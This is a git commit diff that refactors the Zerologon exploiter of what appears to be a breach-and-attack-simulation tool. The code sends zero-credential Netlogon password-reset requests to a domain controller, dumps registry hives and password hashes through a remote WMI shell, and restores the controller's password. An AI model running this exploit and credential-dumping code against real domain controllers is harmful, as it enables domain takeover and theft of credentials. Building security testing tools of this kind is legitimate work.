CR changes

This commit is contained in:
Shreya 2021-02-11 22:39:02 +05:30
parent a3bc9188dd
commit 2bdcdcc18b
5 changed files with 111 additions and 88 deletions

View File

@ -21,6 +21,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
OptionsForSecretsdump OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
from infection_monkey.utils.capture_output import StdoutOutputCaptor
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -47,7 +48,7 @@ class ZerologonExploiter(HostExploiter):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
try: try:
rpc_con = self.connect_to_dc() rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return return
@ -55,29 +56,7 @@ class ZerologonExploiter(HostExploiter):
# Start exploiting attempts. # Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
LOG.debug("Attempting exploit.") LOG.debug("Attempting exploit.")
result = None self._send_rpc_login_requests(rpc_con)
for _ in range(0, self.MAX_ATTEMPTS):
try:
result = self.attempt_exploit(rpc_con)
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result is not None:
break
if result['ErrorCode'] == 0:
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
@ -95,15 +74,33 @@ class ZerologonExploiter(HostExploiter):
return _exploited return _exploited
def is_exploitable(self) -> bool: def is_exploitable(self) -> bool:
if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']:
return True
return self.zerologon_finger.get_host_fingerprint(self.host) return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self) -> object: def _send_rpc_login_requests(self, rpc_con) -> None:
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, result_exploit_attempt = None
protocol='ncacn_ip_tcp') for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() try:
rpc_con.connect() result_exploit_attempt = self.attempt_exploit(rpc_con)
rpc_con.bind(nrpc.MSRPC_UUID_NRPC) except nrpc.DCERPCSessionError as e:
return rpc_con # Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result_exploit_attempt is not None:
if result_exploit_attempt['ErrorCode'] == 0:
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
break
def attempt_exploit(self, rpc_con: object) -> object: def attempt_exploit(self, rpc_con: object) -> object:
request = nrpc.NetrServerPasswordSet2() request = nrpc.NetrServerPasswordSet2()
@ -139,20 +136,15 @@ class ZerologonExploiter(HostExploiter):
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.") raise Exception("Couldn't extract original DC password's nthash.")
self.remove_locally_saved_HKLM_keys()
# Keep authenticating until successful. # Keep authenticating until successful.
LOG.debug("Attempting password restoration.") LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(original_pwd_nthash) rpc_con = self.attempt_restoration(original_pwd_nthash)
if rpc_con is not None: if rpc_con:
break LOG.debug("DC machine account password should be restored to its original value.")
return True
if rpc_con: raise Exception("Failed to restore password! Max attempts exceeded?")
LOG.debug("DC machine account password should be restored to its original value.")
return True
else:
raise Exception("Failed to restore password! Max attempts exceeded?")
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
@ -173,7 +165,10 @@ class ZerologonExploiter(HostExploiter):
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
return ':'.join(hashes) # format - "lmhash:nthash" return ':'.join(hashes) # format - "lmhash:nthash"
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]: def get_dumped_secrets(self,
remote_name: str = '',
username: str = '',
options: Optional[object] = None) -> List[str]:
dumper = DumpSecrets(remote_name=remote_name, dumper = DumpSecrets(remote_name=remote_name,
username=username, username=username,
options=options) options=options)
@ -217,28 +212,27 @@ class ZerologonExploiter(HostExploiter):
if not self.save_HKLM_keys_locally(admin_pwd_hashes): if not self.save_HKLM_keys_locally(admin_pwd_hashes):
return return
options = OptionsForSecretsdump( try:
dc_ip=self.dc_ip, options = OptionsForSecretsdump(
just_dc=False, dc_ip=self.dc_ip,
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), just_dc=False,
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
) security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
)
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
options=options) options=options)
for secret in dumped_secrets: for secret in dumped_secrets:
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(':')[2] nthash = secret.split(':')[2]
return nthash return nthash
def remove_locally_saved_HKLM_keys(self) -> None: except Exception as e:
for name in ['system', 'sam', 'security']: LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}")
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
try: finally:
os.remove(path) self.remove_locally_saved_HKLM_keys()
except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
LOG.debug("Starting remote shell on victim.") LOG.debug("Starting remote shell on victim.")
@ -250,9 +244,8 @@ class ZerologonExploiter(HostExploiter):
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
if remote_shell: if remote_shell:
_orig_stdout = sys.stdout output_captor = StdoutOutputCaptor()
_new_stdout = io.StringIO() output_captor.capture_stdout_output()
sys.stdout = _new_stdout
try: try:
# Save HKLM keys on victim. # Save HKLM keys on victim.
@ -277,10 +270,7 @@ class ZerologonExploiter(HostExploiter):
LOG.info(f"Exception occured: {str(e)}") LOG.info(f"Exception occured: {str(e)}")
finally: finally:
sys.stdout = _orig_stdout info = output_captor.get_captured_stdout_output()
_new_stdout.seek(0)
info = _new_stdout.read()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else: else:
@ -288,10 +278,18 @@ class ZerologonExploiter(HostExploiter):
return False return False
def remove_locally_saved_HKLM_keys(self) -> None:
for name in ['system', 'sam', 'security']:
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
try:
os.remove(path)
except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
try: try:
rpc_con = self.connect_to_dc() rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return return

View File

@ -9,6 +9,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
SAMHashes) SAMHashes)
from impacket.smbconnection import SMBConnection from impacket.smbconnection import SMBConnection
from infection_monkey.utils.capture_output import StdoutOutputCaptor
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -53,9 +55,9 @@ class DumpSecrets:
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self): def dump(self):
_orig_stdout = sys.stdout output_captor = StdoutOutputCaptor()
_new_stdout = io.StringIO() output_captor.capture_stdout_output()
sys.stdout = _new_stdout
dumped_secrets = '' dumped_secrets = ''
try: try:
@ -176,9 +178,7 @@ class DumpSecrets:
except Exception: except Exception:
pass pass
finally: finally:
sys.stdout = _orig_stdout dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
_new_stdout.seek(0)
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
return dumped_secrets return dumped_secrets
def cleanup(self): def cleanup(self):

View File

@ -75,11 +75,7 @@ class ZerologonFinger(HostFinger):
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, rpc_con = self.connect_to_dc(dc_ip)
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential. # Use an all-zero challenge and credential.
plaintext = b'\x00' * 8 plaintext = b'\x00' * 8
@ -111,3 +107,10 @@ class ZerologonFinger(HostFinger):
except BaseException as ex: except BaseException as ex:
raise Exception(f'Unexpected error: {ex}.') raise Exception(f'Unexpected error: {ex}.')
def connect_to_dc(self, dc_ip: str) -> object:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con

View File

@ -0,0 +1,22 @@
import io
import sys
class StdoutOutputCaptor:
def __init__(self):
_orig_stdout = None
_new_stdout = None
def capture_stdout_output(self) -> None:
self._orig_stdout = sys.stdout
self._new_stdout = io.StringIO()
sys.stdout = self._new_stdout
def get_captured_stdout_output(self) -> str:
self._reset_stdout_to_original()
self._new_stdout.seek(0)
info = self._new_stdout.read()
return info
def _reset_stdout_to_original(self) -> None:
sys.stdout = self._orig_stdout

View File

@ -182,17 +182,17 @@ class ReportService:
def get_stolen_creds(): def get_stolen_creds():
creds = [] creds = []
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems() stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
creds.extend(stolen_system_info_creds) creds.extend(stolen_system_info_creds)
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems() stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
creds.extend(stolen_exploit_creds) creds.extend(stolen_exploit_creds)
logger.info('Stolen creds generated for reporting') logger.info('Stolen creds generated for reporting')
return creds return creds
@staticmethod @staticmethod
def get_credentials_from_system_info_telems(): def _get_credentials_from_system_info_telems():
formatted_creds = [] formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}): {'data.credentials': 1, 'monkey_guid': 1}):
@ -201,7 +201,7 @@ class ReportService:
return formatted_creds return formatted_creds
@staticmethod @staticmethod
def get_credentials_from_exploit_telems(): def _get_credentials_from_exploit_telems():
formatted_creds = [] formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
{'data.info.credentials': 1, 'monkey_guid': 1}): {'data.info.credentials': 1, 'monkey_guid': 1}):
@ -212,19 +212,19 @@ class ReportService:
@staticmethod @staticmethod
def _format_creds_for_reporting(telem, monkey_creds): def _format_creds_for_reporting(telem, monkey_creds):
creds = [] creds = []
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
if len(monkey_creds) == 0: if len(monkey_creds) == 0:
return [] return []
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds: for user in monkey_creds:
for pass_type in PASS_TYPE_DICT: for cred_type in CRED_TYPE_DICT:
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
continue continue
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
cred_row = \ cred_row = \
{ {
'username': username, 'username': username,
'type': PASS_TYPE_DICT[pass_type], 'type': CRED_TYPE_DICT[cred_type],
'origin': origin 'origin': origin
} }
if cred_row not in creds: if cred_row not in creds: